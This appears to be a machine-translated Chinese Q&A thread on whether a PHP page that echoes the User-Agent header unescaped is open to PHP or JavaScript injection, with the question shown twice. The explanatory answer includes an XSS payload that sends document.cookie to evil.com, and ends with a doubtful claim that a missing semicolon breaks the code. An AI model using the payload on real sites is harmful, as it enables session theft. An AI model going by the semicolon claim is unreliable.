这个脚本是否容易受到 PHP 或 JS 代码注入的影响?在我的快速测试中,我将用户代理更改为 PHP 脚本,但它不会在打印时执行。如果将用户代理更改为 javascript 代码,我会收到网络服务器拒绝的连接。
那么我对这种类型的脚本安全吗?
<?php
$u=$_SERVER['HTTP_USER_AGENT']
?>
<html>
<pre>string</pre>
<?php echo $u; ?>
</html>
这个脚本是否容易受到 PHP 或 JS 代码注入的影响?在我的快速测试中,我将用户代理更改为 PHP 脚本,但它不会在打印时执行。如果将用户代理更改为 javascript 代码,我会收到网络服务器拒绝的连接。
那么我对这种类型的脚本安全吗?
<?php
$u=$_SERVER['HTTP_USER_AGENT']
?>
<html>
<pre>string</pre>
<?php echo $u; ?>
</html>
你是对的,你不需要担心 PHP 代码被注入。该echo
命令只是回显内容 - 它不执行它。
不过,JS 的问题更大。您的代码可能容易受到 XSS 的攻击。客户端控制用户代理,攻击者控制客户端。您让攻击者能够将任意 HTML 和 JS 代码注入您的网页。只需使用这样的用户代理:
<img src="" onError="window.location='https://evil.com?'+document.cookie">
攻击者有一个大问题:虽然很容易改变你自己的用户代理,但你不能真正改变别人。因此,除了您自己之外,您将如何破解任何人并不明显——这是一种非常先进的自我 XSS 形式。如果您正在存储然后显示其他用户的用户代理(例如来自日志),那么您将面临更大的危险。但您的简单脚本并非如此。
那为什么这对你不起作用?看起来你的攻击被某种 WAF 或类似的东西阻止了。太好了,但不要写不好的代码,希望你的 WAF 能保护你!WAF 不会保护您免受一切侵害。谁知道您的代码将来会在哪里运行,以及那里是否会有 WAF……
任何输入都应该被解析,以确保它不会做任何意外的事情——然而,在这段代码中,破坏性的攻击很难实施。PHP 不会被执行,但它可以用于 XSS 攻击。
上面的代码不起作用的原因是第 2 行缺少分号。